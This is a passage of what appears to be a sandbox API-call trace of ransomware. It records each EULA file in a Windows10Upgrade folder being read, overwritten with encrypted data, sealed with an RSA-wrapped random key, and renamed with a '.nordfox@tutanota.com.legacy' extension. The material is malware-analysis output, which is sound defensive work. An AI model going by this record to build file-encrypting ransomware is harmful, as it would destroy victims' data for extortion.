hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0118.670] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0118.670] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm", dwFileAttributes=0x80) returned 1 [0118.682] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60caa0 [0118.682] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0118.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60caa0 | out: hHeap=0x520000) returned 1 [0118.682] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0118.682] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=147140) returned 1 [0118.682] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23ec4) returned 0x2e41f30 [0118.683] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23ec4) returned 0x2e65e00 [0118.684] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x23ec4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x23ec4, lpOverlapped=0x0) returned 1 [0118.833] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-147140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.833] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e65e00*, nNumberOfBytesToWrite=0x23ec4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e65e00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x23ec4, lpOverlapped=0x0) returned 1 [0118.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e65e00 | out: hHeap=0x520000) returned 1 [0118.836] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x23ec4 [0118.836] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.836] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.837] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.837] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.837] CloseHandle (hObject=0x6d0) returned 1 [0118.837] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0118.837] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0118.837] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.879] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0118.879] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bc18 | out: hHeap=0x520000) returned 1 [0118.879] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ca28 | out: hHeap=0x520000) returned 1 [0118.879] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c0c8 [0118.879] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0118.879] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0118.879] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0118.879] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0118.879] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm", dwFileAttributes=0x80) returned 1 [0118.880] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60caa0 [0118.880] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0118.880] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60caa0 | out: hHeap=0x520000) returned 1 [0118.880] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0118.880] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=147140) returned 1 [0118.880] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23ec4) returned 0x2e41f30 [0118.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23ec4) returned 0x2e65e00 [0118.884] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x23ec4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x23ec4, lpOverlapped=0x0) returned 1 [0118.924] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-147140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.924] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e65e00*, nNumberOfBytesToWrite=0x23ec4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e65e00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x23ec4, lpOverlapped=0x0) returned 1 [0118.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e65e00 | out: hHeap=0x520000) returned 1 [0118.929] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x23ec4 [0118.929] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.929] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.930] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.930] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.930] CloseHandle (hObject=0x6d0) returned 1 [0118.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0118.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0118.931] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0118.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c0c8 | out: hHeap=0x520000) returned 1 [0118.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c938 | out: hHeap=0x520000) returned 1 [0118.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c0c8 [0118.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0118.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0118.933] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0118.933] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0118.933] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm", dwFileAttributes=0x80) returned 1 [0118.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c938 [0118.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0118.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c938 | out: hHeap=0x520000) returned 1 [0118.934] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0118.934] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=126241) returned 1 [0118.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ed21) returned 0x2e41f30 [0118.935] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ed21) returned 0x2e60c60 [0118.935] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x1ed21, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x1ed21, lpOverlapped=0x0) returned 1 [0119.062] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-126241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.062] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e60c60*, nNumberOfBytesToWrite=0x1ed21, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e60c60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1ed21, lpOverlapped=0x0) returned 1 [0119.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0119.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e60c60 | out: hHeap=0x520000) returned 1 [0119.076] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1ed21 [0119.077] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0119.077] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0119.077] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0119.078] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0119.078] CloseHandle (hObject=0x6d0) returned 1 [0119.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0119.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0119.078] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0119.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0119.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c0c8 | out: hHeap=0x520000) returned 1 [0119.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c140 | out: hHeap=0x520000) returned 1 [0119.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c938 [0119.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0119.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0119.080] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0119.081] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0119.081] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm", dwFileAttributes=0x80) returned 1 [0119.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bc18 [0119.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0119.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bc18 | out: hHeap=0x520000) returned 1 [0119.081] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0119.081] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=266731) returned 1 [0119.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x411eb) returned 0x2e41f30 [0119.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x411eb) returned 0x2e83128 [0119.084] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x411eb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x411eb, lpOverlapped=0x0) returned 1 [0119.631] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-266731, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.631] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e83128*, nNumberOfBytesToWrite=0x411eb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e83128*, lpNumberOfBytesWritten=0x2e1f9bc*=0x411eb, lpOverlapped=0x0) returned 1 [0119.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0119.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e83128 | out: hHeap=0x520000) returned 1 [0119.652] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x411eb [0119.653] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0119.653] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0119.653] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0119.654] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0119.654] CloseHandle (hObject=0x6d0) returned 1 [0119.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0119.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0119.654] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0119.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0119.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c938 | out: hHeap=0x520000) returned 1 [0119.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c050 | out: hHeap=0x520000) returned 1 [0119.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c938 [0119.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0119.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0119.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0119.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0119.658] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm", dwFileAttributes=0x80) returned 1 [0119.733] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c140 [0119.733] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0119.733] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c140 | out: hHeap=0x520000) returned 1 [0119.733] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0119.733] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=75137) returned 1 [0119.733] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12581) returned 0x2e41f30 [0119.734] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12581) returned 0x2e544c0 [0119.734] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x12581, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x12581, lpOverlapped=0x0) returned 1 [0120.142] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-75137, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.142] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e544c0*, nNumberOfBytesToWrite=0x12581, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e544c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12581, lpOverlapped=0x0) returned 1 [0120.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0120.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e544c0 | out: hHeap=0x520000) returned 1 [0120.145] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12581 [0120.145] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0120.145] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0120.147] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0120.147] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0120.147] CloseHandle (hObject=0x6d0) returned 1 [0120.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0120.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0120.148] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0120.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0120.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c938 | out: hHeap=0x520000) returned 1 [0120.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bfd8 | out: hHeap=0x520000) returned 1 [0120.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c938 [0120.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0120.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0120.150] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0120.151] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0120.151] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm", dwFileAttributes=0x80) returned 1 [0120.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60ca28 [0120.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0120.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ca28 | out: hHeap=0x520000) returned 1 [0120.151] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0120.152] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=254145) returned 1 [0120.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3e0c1) returned 0x2e41f30 [0120.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3e0c1) returned 0x2e80000 [0120.155] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x3e0c1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x3e0c1, lpOverlapped=0x0) returned 1 [0120.429] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-254145, 